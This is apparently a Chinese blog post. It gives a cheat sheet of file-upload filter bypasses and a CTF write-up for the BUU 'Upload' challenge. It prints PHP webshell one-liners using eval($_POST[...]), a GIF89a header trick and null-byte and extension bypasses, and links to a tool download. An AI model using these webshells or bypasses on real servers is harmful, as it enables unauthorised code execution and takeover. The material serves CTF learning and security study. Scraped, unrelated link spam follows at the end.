文件上传漏洞 随便贴一个实战演示 BUU Upload(文件上传,过滤后缀,另类一句话) write up
http://39.96.86.88/2020/04/03/
write up
- 文件上传
- write up
文件上传
0x01 文件上传绕过
1.客户端js检查绕过
原理:客户端通过js检查提交的文件是否合法
绕过:
1.添加允许上传的文件类型,使待上传的文件合法
2.删除对js验证脚本的调用,使其不能进行检测,从而绕过。具体是删除
οnsubmit="return checkFile(),它的作用是点击上传时,会触发js验证脚本,删除 后无法触发。
3.burpsuite抓包,修改文件类型。先将想要上传的脚本的后缀改为符合要求的后 缀(eg: demo.php -> demo.jpg),当点击上传时使用burp suite抓包将后缀改回 为.php,让服务器能运行上传的php代码。
2.服务端绕过
1.MIME类型检测绕过
原理:当用户上传文件到服务器端时,服务器会获得上传文件的MIME类型,然后利用这个类型和期望的MIME类型匹配,匹配不上则不合法。
#//检测MIME类型代码
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')){...//判断过后对文件处理的进一步操作
}
绕过:
获取MIME类型的值是通过HTTP请求字段里的Content-Type字段,所以绕过方是通 过修改Content-Type的值,比如: image/jepg image/png image/gif 等等上传类型 对应的MIME值。
2.黑名单绕过
原理:服务器有一个黑名单,只要你上次的文件和黑名单匹配,那么禁止上传。
绕过:
1.文件名大小绕过
AsP,pHp之类的后缀绕过
2.名单列表绕过
利用黑名单没有的进行攻击,比如黑名单里没有asa或cer等
3.特殊文件名绕过
比如发送的http暴力的文件名改为test.asp. 或者 test.asp_(下划线为空格),因为 windows不允许这种命名方式,所以在burp suite里面修改,绕过检测后,windows 会自动去掉后面的 点 和 空格 。(linux无此特性)
4.0x00截断绕过
test.php(0x00).jpg
test.php%00.jpg
为什么?看下面这张图片,空,被解析后只剩下test.php
5. .htaccess文件攻击
6.解析调用/漏洞绕过
7. .init文件攻击
8.文件头绕过
在木马基础上添加一些文件信息,比如加上 GIF89a 是服务器将文件作为图片文 件。
9.多个Content-Disposition
在iis环境下,上传文件如果有多个Content-Disposition,iiis会取第一个Content- Disposition中的值作为接收参数,而waf只是取最后一个的话便会绕过, Win2k8 + IIS7.0 + PHP
10.目录验证
iis6.0存在写入目录
0x02大佬常用的一句话
1.一次任意上传漏洞,在config.php中未发现定义类型Media,请求: upload/.php?Type=Media
2.上传图片木马
3.序列化木马
<?phpclass A{var $a = '<?php phpinfo() ?>';
}
$b = new A();
echo serialize($b);
?>
4.php后缀: php,php3,php4,php5,phtml,pht
5.扩展名绕过
Asp:asa cer cdx
Aspx:ashx asmx ascx
Php:php3 phptml
Jsp:jspx jspf
6.
<script language='php'>system("ls")</script>
7.
GIF89a
<script language='php'>@eval($_POST['shell'])</script>
https://www.cnblogs.com/ldhbetter/p/9190556.html
https://www.cnblogs.com/wangtanzhi/p/12243206.html
write up
直接上传jpg文件里面写入 php木马
回显表明不能有php格,说明php一句话不能用了
换一句话 <script language="php"> eval($_POST['cmd'])</script>
说不是图片
上传图片木马遇到拦截系统,连图片木马都上传不了,记事本打开图片木马在代码最前面加上gif89a,一般就能逃过拦截系统了。
既然代码可以屏蔽了“<?” 就是希望我们使用其他方式上传php文件,然而它又能检测图片是否为一个原汁原味的真图片,则可以想到:题目可能是检测的GIF动图的文件头”gif89a
一句话换为 :
GIF89a
<script language='php'>@eval($_POST['cmd'])</script>
为了让服务器能运行里面的php代码,上传的文件最终应该是php文件,这里用burpsuite抓包,改后缀为phtml。
php常用后缀: php,php3,php4,php5,phtml,pht,phtm
得到flag
原来之前一直连不上是因为upload.php整成了upload_file.php(好像是上传后自动会创建upload文件夹防上传的文件),好像以前的题目也有这样的情况,淦,只有记住了。虽然还是不明白为什么时upload,但无所谓了。不过借此机会把蚁剑下下来了,还行吧。
附上百度云链接:https://pan.baidu.com/s/1J7SH4mchH8AHyo7ybs4eFg
密码:xl0m
文件上传漏洞 随便贴一个实战演示 BUU Upload(文件上传,过滤后缀,另类一句话) write up相关推荐
- 计算机网络路由器的配置连接不上,为什么路由器连接不上_我的电脑换了一个路由器怎么就连接不上网络呢...
手机连不上路由器怎么办? 手机连不上wifi怎么办 我的路由器连接不上网络了应该怎么设置? 原因及解决办法: 1.路由器插口连接错误 用户第一步应该检查插口是否连接错误,WAN接口是路由器网络接入插口 ...
- win7怎么打开html 文件夹,win7系统怎么设置一个窗口打开多个文件夹
我们常常在使用电脑的时候都会发现,一些用户在打开文件夹会发现我们不能同时在一个窗口下打开,用起来非常的不方便,那么你知道win7系统怎么设置一个窗口打开多个文件夹吗?下面是学习啦小编整理的一些关于wi ...
- LeetCode149. 直线上最多的点数: 给定一个二维平面,平面上有 n 个点,求最多有多少个点在同一条直线上。
给定一个二维平面,平面上有 n 个点,求最多有多少个点在同一条直线上. 示例 1: 输入: [[1,1],[2,2],[3,3]] 输出: 3 解释: ^ | | o | o | o ±------- ...
- vue.js上传头像插件_一个基于vue2.0的头像上传组件
vue-avatar 基于vuejs2.0 + webpack环境使用的上传组件 支持服务器的域名和接口单独设置 支持自定义提交字段 支持自定义xhr 提交的header字段/表单name/限定上传格 ...
- JAVA file列出所有文件_用Java代码列出一个目录下所有的文件
1.File类 File类在java.io.File包中,所以要导入这个包. File类中用到的方法: boolean isDirectory() 测试此抽象路径名表示的文件是否是个目录 ...
- 几个小工具帮你轻松解决“文件夹正在使用”、“另一个程序正在使用此文件”
上一篇写了<终于解决了:你需要来自XXX的权限才能对此文件进行更改> 今天想分享的则是用于「解除文件占用」方便你快速删除的工具,虽然这些工具都是使用频率低,但对阿虚来说几乎是必备的工具 毕 ...
- jenkins publish over ssh远程发送文件夹(目录)的一个坑(指定了文件夹路径却没有发送成功)
解决方式:就是source file指定的目录需要在最后面加/,不加/就不会发送成功,日志也不打印,坑爹.
- Web安全 文件上传漏洞的 测试和利用.(上传一个图片或文件 拿下服务器最高权限.)
文件上传漏洞的概括 现在大多的网站和Web应用系统都会有上传功能(比如:文档,图片,头像,视频上传等.),而程序员在开发文件上传功能时,没有对代码做严格校验上传文件的后缀和文件类型. 此时攻击者就可以 ...
- 文件上传漏洞 (上传知识点、题型总结大全-upload靶场全解)
文件上传漏洞 什么是文件上传漏洞 什么是webshell 一句话木马大全 产生文件上传漏洞的原因 文件上传漏洞的攻击与防御方式 1.前端限制 2.检查扩展名 1.黑名单策略, 2.白名单策略 3.检查 ...
最新文章
- 一键cosplay各路动漫人物!快手的这个BlendGAN火了 | NeurIPS 2021
- 《漫画算法2》源码整理-4 字符串匹配算法 RK KMP
- 禁止backspace键(退格键),但输入文本框时不禁止(兼容IE)
- 【项目管理】ITTO-进度管理
- Vista 系统C盘(系统盘)越来越小的问题.与解决.
- 你真的不了解这个地球
- arcgis创建剖面线execl文件
- unity3D游戏开发实战原创视频讲座系列7之消消乐游戏开发
- ifttt.com:让你的网络行为能引发连锁反应
- python新手常犯的17个错误
- Atitit 容器化技术之道 attilax著 1. 概念	1 1.1. 容器是应用服务器中位于组件和平台之间的接口集合。	1 1.2. 有时候也指集合的概念,里面可以存放不同对象	2 1.3. 、新
- taobao滑动验证码解决方法
- Ext.Net配色方案
- moment 计算日期差
- 车牌号合法性校验正则表达式(含新能源车牌)
- 【SpringBoot2.0】基于Atomikos的多数据源分布式事务(XA)解决方案
- 计算机课会点名吗,网课突然被点名的尴尬,你也懂的吧
- Pulsar 社区周报| 2020-12-05 ~ 2020-12-11
- DIV内文字两端对齐
- 在一个内部群里,我围观了微信最流行的诱导吸粉活动